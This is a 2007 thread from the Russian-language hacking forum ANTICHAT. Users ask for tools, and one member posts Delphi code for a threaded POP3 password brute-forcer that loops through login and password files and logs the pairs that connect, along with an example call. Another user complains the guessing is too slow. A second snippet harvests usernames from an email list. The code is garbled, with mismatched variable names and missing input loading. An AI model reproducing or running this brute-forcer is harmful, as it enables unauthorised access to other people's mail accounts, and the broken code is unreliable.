ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
18.08.2007, 20:45
|
|
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742
Репутация:
541
|
|
зирокул
непользовался? так начни пользоваться, со снифа снял пост, впихнул в стринг и через сокет отправил.
|
|
|
18.08.2007, 21:49
|
|
Участник форума
Регистрация: 06.03.2007
Сообщений: 283
Провел на форуме:
1547094
Репутация:
120
|
|
Люди как залогиница на сйте(vBulletin)?
Кто может сделать такое, и чтобы если он залогинился то выходила ошибка типа вы вошли как(Edit1)
а если не залогинился выдавал типа неверные данные.
Кому нетрудно сделайте плиз
ну к примеру можно взять античат а я потом потправлю.
Если можете выложити исходник
Последний раз редактировалось xaker-boss; 18.08.2007 в 21:56..
|
|
|
|
19.08.2007, 11:35
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763
Репутация:
1680
|
|
xaker-boss помоему проще найти исходник брутфорса форумов и посмотреть...
|
|
|
|
19.08.2007, 12:32
|
|
Участник форума
Регистрация: 06.03.2007
Сообщений: 283
Провел на форуме:
1547094
Репутация:
120
|
|
Nightmarе да я искал но так и ненашол
|
|
|
|
21.08.2007, 15:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597
Репутация:
836
|
|
PHP код:
unit Unit2;
interface
uses
SysUtils, Classes, Sockets, IdBaseComponent;
type
threed = class(TThread)
private
{ Private declarations }
LL: TStringList;
PL: TStringList;
tmpI: Integer;
tmpJ: Integer;
IdPOP3: TIdPOP3;
procedure CallBack;
protected
constructor Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
destructor Destroy;
procedure Execute; override;
end;
implementation
uses unit1;
constructor threed.Create(LoginList: string; PassList: string; aHost: string; aPort: Word);
begin
LL:=TStringList.Create;
LP:=TStringList.Create;
LL.LoadFromFile(LoginList);
LP.LoadFromFile(PassList);
IdPOP3:=TIdPOP3.Create;
with IdPOP3 do
begin
Host:=aHost;
Port:=aPort;
end;
inherited Create(false);
end;
procedure threed.CallBack;
begin
form1.Memo2.Lines.Add(LL.Strings[tmpI]+';'+PS.StringstmpJ]);
end;
destructor threed.Destroy;
begin
LL.Free;
LP.Free;
IdPOP3.Free;
end;
procedure threed.Execute;
var
i,j:integer;
begin
for i:=0 to LS.Count-1 do
for j:=0 to LP.Count-1 do
begin
IdPOP3.UserName:=LS.Strings[i];
IdPOP3.Password:=LP.Strings[j];
try
IdPOP3.Connect;
except
end;
if IdPOP3.Connected then
begin
Synchronize(CallBack);
IdPOP3.Disconnect;
end;
IdPOP3.Disconnect;
end;
end;
end.
Пример использования
PHP код:
threed.Create('c:\logins.txt', 'c:\pass.txt', 'Host HERE', 25);
P.S. никакой многопоточности Я не увидел (по крайней мере в твоем коде) =/...
P.S.S. должно работать не проверял, писал в Опере 
P.S.S.S. не забываем освобождать ресурсы системы =/
Второй вопрос:
Допустим есть файл email.txt
там хранятся данные типа:
sdas@mail.ru
asdas@bk.ru
asdas@info.ru и т.д.
так вот задача отрезать все личнее допустим от @mail.ru и записать это в отдельный файл
лишнее или личное?
З.Ы. личное резать не хорошо =/
PHP код:
procedure CRASH_INTERNET;
var
i: Integer;
s: string;
a: TStringList;
b: TStringList;
begin
a:=TStringList.Create;
b:=TStringList.Create;
try
for i:=0 to a.Count - 1 do
begin
s:=a.Strings[i];
if pos('@', s) > 0 then b.Add(copy(s, 0, pos('@', s) - 1);
end;
finally
b.SaveToFile('c:\result.txt');
a.Free;
b.Free;
end;
P.S. написанно так же в Опере
P.S.S. не забываем освобождать ресурсы системы =/
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
21.08.2007, 17:16
|
|
Познающий
Регистрация: 06.08.2007
Сообщений: 36
Провел на форуме:
373639
Репутация:
10
|
|
Да мне нужно чтобы быстро работала прога, а она подбирает медленно, 1,5 сек 1 пароль
|
|
|
|
21.08.2007, 20:49
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597
Репутация:
836
|
|
Сообщение от alamat
Да мне нужно чтобы быстро работала прога, а она подбирает медленно, 1,5 сек 1 пароль
а ты мой пример пробовал??!?!!
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
21.08.2007, 22:08
|
|
Познающий
Регистрация: 06.08.2007
Сообщений: 36
Провел на форуме:
373639
Репутация:
10
|
|
Да, там где то ошибка
|
|
|
|
21.08.2007, 22:46
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763
Репутация:
1680
|
|
Ребят, ну так как мне послать пейджером в аську сообщение через делфи не юзая исходники coban2k ???
|
|
|
|
21.08.2007, 23:25
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597
Репутация:
836
|
|
>Да, там где то ошибка
именно где?!?
>Nightmarе
если у них есть вебформа для отправки ICQ вообщения, то можно...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид